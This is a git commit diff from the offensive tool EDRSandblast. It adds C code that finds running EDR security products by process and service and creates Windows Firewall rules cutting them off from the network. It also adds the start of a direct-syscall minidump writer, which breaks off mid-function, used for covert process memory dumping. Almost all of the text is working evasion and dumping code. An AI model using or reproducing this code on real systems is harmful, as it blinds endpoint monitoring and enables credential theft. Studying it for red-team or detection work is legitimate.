mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-14 02:58:11 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -0,0 +1,451 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Firewalling.h"
|
||||
|
||||
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
// Create the Firewall blocking rules.
|
||||
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
|
||||
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
|
||||
PROCESSENTRY32 pe32;
|
||||
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
|
||||
HANDLE hProcess = INVALID_HANDLE_VALUE;
|
||||
TCHAR binaryPath[MAX_PATH];
|
||||
DWORD szBinaryPath = _countof(binaryPath);
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
|
||||
return -1;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
do {
|
||||
if (pe32.th32ProcessID == 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
|
||||
continue;
|
||||
}
|
||||
|
||||
szBinaryPath = _countof(binaryPath);
|
||||
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
hProcess = INVALID_HANDLE_VALUE;
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hProcessSnap != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcessSnap);
|
||||
}
|
||||
|
||||
if (hProcess != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
|
||||
SC_HANDLE hSCManager = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
|
||||
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
|
||||
TCHAR serviceBinaryPath[MAX_PATH];
|
||||
TCHAR serviceBinaryPathCopy[MAX_PATH];
|
||||
DWORD lpServicesCount = 0;
|
||||
DWORD dwByteCount = 0, dwBytesNeeded = 0;
|
||||
DWORD dwError = 0;
|
||||
BOOL returnValue;
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Open an handle on the Service Control Manager.
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
if (!hSCManager) {
|
||||
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
|
||||
do {
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
dwByteCount = dwByteCount + dwBytesNeeded;
|
||||
lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
|
||||
if (!lpServices) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_MORE_DATA);
|
||||
|
||||
if (dwError != ERROR_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
|
||||
dwByteCount = 0;
|
||||
dwBytesNeeded = 0;
|
||||
|
||||
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
continue;
|
||||
}
|
||||
|
||||
do {
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
|
||||
if (!lpServiceConfig) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
|
||||
goto cleanup;
|
||||
}
|
||||
dwByteCount = dwBytesNeeded;
|
||||
|
||||
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
|
||||
|
||||
if (dwError != 0) {
|
||||
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
|
||||
continue;
|
||||
}
|
||||
|
||||
// If binary path is empty, skip service.
|
||||
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
|
||||
continue;
|
||||
}
|
||||
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
|
||||
|
||||
// replace \SystemRoot\ with %systemroot%\
|
||||
TCHAR* prefix = TEXT("\\SystemRoot\\");
|
||||
SIZE_T prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
serviceBinaryPathCopy[0] = '%';
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
|
||||
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
|
||||
serviceBinaryPathCopy[prefix_len - 1] = '%';
|
||||
}
|
||||
|
||||
// Remove \\??\\
|
||||
prefix = TEXT("\\??\\");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
|
||||
}
|
||||
|
||||
// insert %systemroot%\ before system32\
|
||||
prefix = TEXT("system32");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
|
||||
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
|
||||
SIZE_T new_prefix_len = _tcslen(new_prefix);
|
||||
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
|
||||
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
|
||||
}
|
||||
|
||||
// Remove double quotes (replace "xxxxx" with xxxxx).
|
||||
TCHAR * positionSpace = NULL;
|
||||
if (serviceBinaryPathCopy[0] == '"') {
|
||||
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
|
||||
positionSecondQuote[-1] = '\0';
|
||||
}
|
||||
else
|
||||
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
|
||||
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
|
||||
*positionSpace = '\0';
|
||||
}
|
||||
|
||||
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
|
||||
if (!returnValue) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// check if resulting path is a file, and if it's not missing its extension
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
SIZE_T posExtension = _tcslen(serviceBinaryPath);
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
|
||||
// NB : If unquoted service path -> should also print this error message
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hService) {
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (hSCManager) {
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
BOOL firewallIsOn = FALSE;
|
||||
DWORD ntStatus = 0;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
hrStatus = IsFirewallEnabled(&firewallIsOn);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (!firewallIsOn) {
|
||||
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
|
||||
ntStatus = EnumEDRProcess(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
|
||||
ntStatus = EnumEDRServices(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
|
||||
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
HRESULT hrStatusFinal = S_OK;
|
||||
HRESULT hrStatusTemp = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatusFinal;
|
||||
}
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
|
||||
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
|
||||
return fwEntries->first == NULL;
|
||||
};
|
||||
|
||||
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
|
||||
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
|
||||
};
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
|
||||
fwBinaryRules* first = fwEntries->first;
|
||||
// if first element comes after, insert at the head
|
||||
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
|
||||
// insert newFWEntry at the head of the list
|
||||
newFWEntry->next = fwEntries->first;
|
||||
fwEntries->first = newFWEntry;
|
||||
return;
|
||||
}
|
||||
|
||||
// browse list from the start until next element comes after (or is equal to) our new element
|
||||
fwBinaryRules* ptr;
|
||||
for (ptr = fwEntries->first;
|
||||
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
|
||||
ptr = ptr->next);
|
||||
// if end of the list, or new entry is different to the next one (no duplicate), insert it
|
||||
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
|
||||
// insert newFWEntry after ptr
|
||||
newFWEntry->next = ptr->next;
|
||||
ptr->next = newFWEntry;
|
||||
}
|
||||
else {
|
||||
// duplicate entry, do nothing
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,503 @@
|
||||
#include <Windows.h>
|
||||
#include <minidumpapiset.h>
|
||||
|
||||
#include "ListUtils.h"
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "StringUtils.h"
|
||||
#include "SyscallProcessUtils.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
|
||||
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
|
||||
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
|
||||
}
|
||||
|
||||
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
|
||||
ULONG32 newRVA = dumpContext->RVA + size;
|
||||
if (newRVA < dumpContext->RVA) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
|
||||
return FALSE;
|
||||
}
|
||||
else if (dumpContext->DumpMaxSize < newRVA) {
|
||||
while(dumpContext->DumpMaxSize < newRVA){
|
||||
dumpContext->DumpMaxSize *= 2;
|
||||
}
|
||||
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
|
||||
if (!ptr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
|
||||
return FALSE;
|
||||
}
|
||||
dumpContext->BaseAddress = ptr;
|
||||
}
|
||||
|
||||
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
|
||||
dumpContext->RVA = newRVA;
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_HEADER header = { 0 };
|
||||
header.Signature = dumpContext->Signature;
|
||||
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
|
||||
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
|
||||
header.NumberOfStreams = 3;
|
||||
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
|
||||
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
|
||||
header.CheckSum = 0;
|
||||
header.Reserved = 0;
|
||||
header.TimeDateStamp = 0;
|
||||
header.Flags = MiniDumpWithFullMemory;
|
||||
|
||||
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
|
||||
DWORD nbDirectories = 0;
|
||||
|
||||
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
|
||||
systemInfoDirectory.StreamType = SystemInfoStream;
|
||||
systemInfoDirectory.Location.DataSize = 0;
|
||||
systemInfoDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
|
||||
moduleListDirectory.StreamType = ModuleListStream;
|
||||
moduleListDirectory.Location.DataSize = 0;
|
||||
moduleListDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
|
||||
{
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
|
||||
memory64ListDumpDirectory.StreamType = Memory64ListStream;
|
||||
memory64ListDumpDirectory.Location.DataSize = 0;
|
||||
memory64ListDumpDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
while (nbDirectories & 3) {
|
||||
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
|
||||
unusedDirectory.StreamType = UnusedStream;
|
||||
unusedDirectory.Location.DataSize = 0;
|
||||
unusedDirectory.Location.Rva = 0;
|
||||
|
||||
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
|
||||
|
||||
// read the PEB.
|
||||
#if _WIN64
|
||||
PEB64 peb = *(PPEB64) __readgsqword(0x60);
|
||||
#else
|
||||
PEB peb = *(PPEB) __readfsdword(0x30);
|
||||
#endif
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
|
||||
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
|
||||
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
|
||||
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
|
||||
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
|
||||
|
||||
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
|
||||
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
|
||||
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
|
||||
dumpSystemInfo.PlatformId = peb.OSPlatformId;
|
||||
dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
|
||||
dumpSystemInfo.CSDVersionRva = 0;
|
||||
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
|
||||
dumpSystemInfo.Reserved2 = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
|
||||
|
||||
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
|
||||
if (IsProcessorFeaturePresent(i)) {
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
|
||||
}
|
||||
}
|
||||
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
ULONG32 streamSize = sizeof(dumpSystemInfo);
|
||||
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
